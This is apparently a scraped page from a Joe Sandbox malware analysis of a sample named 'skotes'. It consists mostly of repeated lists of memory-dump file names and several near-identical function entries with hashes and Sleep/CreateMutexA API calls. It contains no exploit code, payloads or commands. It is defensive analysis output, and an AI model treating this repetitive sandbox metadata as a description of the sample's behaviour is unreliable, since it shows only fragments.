Associated: 00000001.00000002.1785796721.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785813355.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785832040.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785850522.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785869136.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785886542.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785908476.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785932171.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785947996.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785947996.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785989656.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786005021.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786025230.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786042853.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786059095.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786077067.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786091756.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786107495.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786123227.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786144538.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786161237.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 367d2b841178619090220c6e1414281789842ad80dc9464c5c523747f4a8c79c
Instruction ID: 938e3ef6e660cabcd9e0e42578312d87fb93126b9bfbc445be68a7b255b5db9a
Opcode Fuzzy Hash: 367d2b841178619090220c6e1414281789842ad80dc9464c5c523747f4a8c79c
Instruction Fuzzy Hash: 8D312371B012049BEF18AB6CDD89BEEBB62DBC1310F289228E014B72D1C7769981C756

Function 00EBA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EBA963
CreateMutexA.KERNELBASE(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000001.00000002.1784872466.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000001.00000002.1784803466.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784872466.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784983631.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785030374.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785051465.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785303861.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785326624.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785388674.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785388674.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785428550.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785442401.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785457240.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785471866.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785488504.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785503013.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785518367.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785532104.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785552185.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785568821.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785584727.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785602803.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785621448.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785635573.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785653073.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785670981.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785686475.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785702138.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785719225.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785734587.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785750370.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785765060.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785781516.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785796721.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785813355.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785832040.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785850522.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785869136.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785886542.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785908476.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785932171.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785947996.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785947996.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785989656.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786005021.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786025230.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786042853.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786059095.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786077067.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786091756.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786107495.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786123227.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786144538.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786161237.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: aa82f826443f24285105bbf80e087074796f242a2a9506750483bdc88d68ad88
Instruction ID: 12dc97519dbe2cd2c31bdd9d8c9c27a972dba2efec75050a2cabbd040579a4c3
Opcode Fuzzy Hash: aa82f826443f24285105bbf80e087074796f242a2a9506750483bdc88d68ad88
Instruction Fuzzy Hash: D5313771B011409BEF189B6CDD89BDEBB62EBC6310F28522CE004B72D1D77689808752

Function 00EBA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EBA963
CreateMutexA.KERNELBASE(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000001.00000002.1784872466.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000001.00000002.1784803466.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784872466.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784983631.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785030374.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785051465.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785303861.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785326624.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785388674.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785388674.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785428550.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785442401.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785457240.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785471866.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785488504.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785503013.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785518367.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785532104.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785552185.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785568821.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785584727.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785602803.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785621448.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785635573.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785653073.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785670981.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785686475.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785702138.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785719225.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785734587.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785750370.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785765060.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785781516.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785796721.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785813355.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785832040.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785850522.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785869136.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785886542.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785908476.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785932171.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785947996.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785947996.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785989656.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786005021.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786025230.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786042853.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786059095.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786077067.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786091756.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786107495.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786123227.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786144538.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786161237.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a66a5e2a43e746bcd1252eb8b9e74be72624411a029c4e91fe453dce3e77b9c2
Instruction ID: bda6934f8ee2ccc057c14cc4135628d706e25903e0b8a52295545e6ab0e6a5e8
Opcode Fuzzy Hash: a66a5e2a43e746bcd1252eb8b9e74be72624411a029c4e91fe453dce3e77b9c2
Instruction Fuzzy Hash: 00312771B001449BEF18AB78ED8DBEEB6A2DBC1314F286228E054F72D5C7B649808756

Function 00EBA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EBA963
CreateMutexA.KERNELBASE(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000001.00000002.1784872466.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000001.00000002.1784803466.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784872466.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784983631.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785030374.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785051465.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785303861.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785326624.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785388674.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785388674.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785428550.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785442401.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785457240.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785471866.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785488504.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785503013.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785518367.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785532104.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785552185.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785568821.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785584727.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785602803.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785621448.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785635573.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785653073.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785670981.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785686475.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785702138.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785719225.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785734587.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785750370.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785765060.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785781516.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785796721.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785813355.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785832040.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785850522.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785869136.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785886542.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785908476.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785932171.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785947996.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785947996.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785989656.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786005021.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786025230.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786042853.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786059095.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786077067.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786091756.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786107495.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786123227.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786144538.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786161237.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b8e7061a0fb2fa0ab22b7e1b7f35b1240853f85eb396bd42da08cb002492d534
Instruction ID: 47af6e595eeef5f92a399ba7b3a6018858887afa16d5a66705989ce5892218c4
Opcode Fuzzy Hash: b8e7061a0fb2fa0ab22b7e1b7f35b1240853f85eb396bd42da08cb002492d534
Instruction Fuzzy Hash: D7313971B011448BEF18DB78DD89BEEB762DBC1324F28522CE044F72D5CB768A819752

Function 00EBA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EBA963
CreateMutexA.KERNELBASE(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000001.00000002.1784872466.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000001.00000002.1784803466.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784872466.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784983631.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785030374.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785051465.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785303861.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785326624.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785388674.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785388674.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785428550.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785442401.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785457240.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785471866.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785488504.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785503013.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785518367.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785532104.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785552185.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785568821.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785584727.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785602803.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785621448.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785635573.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785653073.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785670981.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785686475.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785702138.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785719225.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785734587.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785750370.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785765060.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785781516.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785796721.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785813355.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785832040.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785850522.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785869136.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785886542.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785908476.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785932171.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785947996.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785947996.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785989656.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786005021.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786025230.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786042853.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786059095.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786077067.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786091756.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786107495.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786123227.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786144538.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786161237.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d6e447b66a40a2d85be37148ce1169090520ef55a14dca63f18d94ac80590e83
Instruction ID: 3a2e422403c8d6b5fbb6936dbdf193a0f5b41c1465ad5979658aa78267419553
Opcode Fuzzy Hash: d6e447b66a40a2d85be37148ce1169090520ef55a14dca63f18d94ac80590e83
Instruction Fuzzy Hash: CB3139717041449BEF189B78DD89BEEBB62DBC1320F28923CE014F72D5CB7649818752

Function 00EB9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EBA963
CreateMutexA.KERNELBASE(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000001.00000002.1784872466.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000001.00000002.1784803466.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784872466.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784983631.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785030374.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785051465.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785303861.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785326624.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785388674.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785388674.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785428550.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785442401.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
